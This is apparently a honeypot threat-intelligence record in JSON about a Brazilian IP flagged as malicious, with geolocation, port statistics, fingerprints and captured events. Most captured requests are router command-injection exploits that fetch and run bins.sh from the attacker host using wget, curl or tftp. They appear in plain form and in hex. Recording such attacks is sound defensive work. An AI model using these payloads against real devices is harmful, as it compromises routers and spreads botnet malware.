{"ip":"178.132.198.200","data_as_of":"2026-10-26T20:46:26+00:00","observed":true,"total_events":74,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"63 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["63 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 44,276 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"44,276 bytes sent","bytes_sent":44276,"session_seconds":0,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-09T14:28:12","last_seen":"2026-10-25T07:37:05","events_24h":0,"events_7d":51,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"BR","country_name":"Brazil","region":"São Paulo","city":"São Paulo","lat":-23.5475,"lon":-46.6361,"asn":213920,"org":"Fonseca Alves Tecnologia Ltda"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"c21545bd542756fec6e8f7baf359f16af07d641c490a71f49d5fa3e9fb4c7b3d","family":"shell","vt_name":"","malicious":2,"total":75,"vt_status":"known","delivery":"tftp","url_path":"/ctrlt/DeviceUpgrade_1","dest_port":37215,"hits":1,"last_seen":"2026-10-18 10:11:26"}],"udp":null,"interaction":null,"top_ports":[{"port":37215,"proto":"tcp","label":"","count":65},{"port":80,"proto":"tcp","label":"HTTP","count":2},{"port":8000,"proto":"tcp","label":"HTTP-alt","count":2},{"port":37777,"proto":"tcp","label":"","count":2},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":2},{"port":52869,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq050_00850801_985b9497","b11cun030_08040001_c91eaf54"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cuq050_00850801_985b9497":5,"b11cun030_08040001_c91eaf54":3},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-09","count":8},{"date":"2026-10-18","count":7},{"date":"2026-10-19","count":9},{"date":"2026-10-20","count":8},{"date":"2026-10-21","count":11},{"date":"2026-10-22","count":9},{"date":"2026-10-23","count":9},{"date":"2026-10-24","count":9},{"date":"2026-10-25","count":4}],"recent_events":[{"timestamp":"2026-10-25T07:37:05","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"ea3ddc79-d3de-491b-8896-4a8624b4b760","seq":1,"duration_ms":103,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-25T05:23:58","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"ea59f11c-e294-4dff-807c-7645498d468c","seq":1,"duration_ms":102,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-25T04:34:40","port":52869,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"843\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:52869\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"}","body":"<?xml version=\"1.0\"?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp || cd /var/run || cd /dev/shm; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b || (tftp -g -r bins.sh 178.132.198.200 2>/dev/null && mv bins.sh .b)); chmod 777 .b 2>/dev/null || chmod +x .b 2>/dev/null; sh .b; rm -f .b`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>s</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/picsdesc.xml","summary":"","payload_hex":"504f5354202f70696373646573632e786d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a35323836390d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a436f6e74656e742d4c656e6774683a203834330d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e30223f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373435303c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e606364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6465762f73686d3b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62207c7c202874667470202d67202d722062696e732e7368203137382e3133322e3139382e32303020323e2f6465762f6e756c6c202626206d762062696e732e7368202e6229293b2063686d6f6420373737202e6220323e2f6465762f6e756c6c207c7c2063686d6f64202b78202e6220323e2f6465762f6e756c6c3b207368202e623b20726d202d66202e62603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e733c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"170ec9e0-3484-4637-9248-e345b53d8aeb","seq":1,"duration_ms":3,"bytes_in":1040,"bytes_out":80},{"timestamp":"2026-10-25T01:27:35","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"a156122b-33d5-4426-8415-62279f8e72f8","seq":1,"duration_ms":100,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-24T22:13:43","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"112405c9-48df-44da-8705-aec1746d5e6e","seq":1,"duration_ms":101,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-24T20:30:39","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"c41e9223-71d5-43cd-9dcf-31b39a280410","seq":1,"duration_ms":101,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-24T18:44:09","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"57f2de4a-0855-4f0b-a1a1-448c2b7bd920","seq":1,"duration_ms":100,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-24T13:36:45","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"a0f46254-1b47-4eaa-b4ea-4bd2718b8d59","seq":1,"duration_ms":100,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-24T12:20:50","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"1be758b9-9825-4878-b842-91fc62777162","seq":1,"duration_ms":104,"bytes_in":649,"bytes_out":80},{"timestamp":"2026-10-24T09:08:16","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"449\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(cd /tmp; (wget -q http://178.132.198.200/bins.sh -O .b || curl -s http://178.132.198.200/bins.sh -o .b); sh .b; rm -f .b)</NewStatusURL><NewDownloadURL>$(echo)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a3123557067726164650d0a436f6e74656e742d4c656e6774683a203434390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e24286364202f746d703b202877676574202d7120687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d4f202e62207c7c206375726c202d7320687474703a2f2f3137382e3133322e3139382e3230302f62696e732e7368202d6f202e62293b207368202e623b20726d202d66202e62293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"29ea84bb-a90c-41ca-aa7c-c2caf223d484","seq":1,"duration_ms":100,"bytes_in":649,"bytes_out":80}],"http_methods":[{"method":"POST","count":66},{"method":"GET","count":8}],"distinct_ports_total":6,"top_paths":[{"path":"/ctrlt/DeviceUpgrade_1","count":65,"ports":1},{"path":"/","count":8,"ports":4},{"path":"/picsdesc.xml","count":1,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host","Soapaction"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"449","notable":false},{"name":"Content-Type","value":"text/xml","notable":true},{"name":"Host","value":"<HONEYPOT>:37215","notable":false},{"name":"Soapaction","value":"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[]}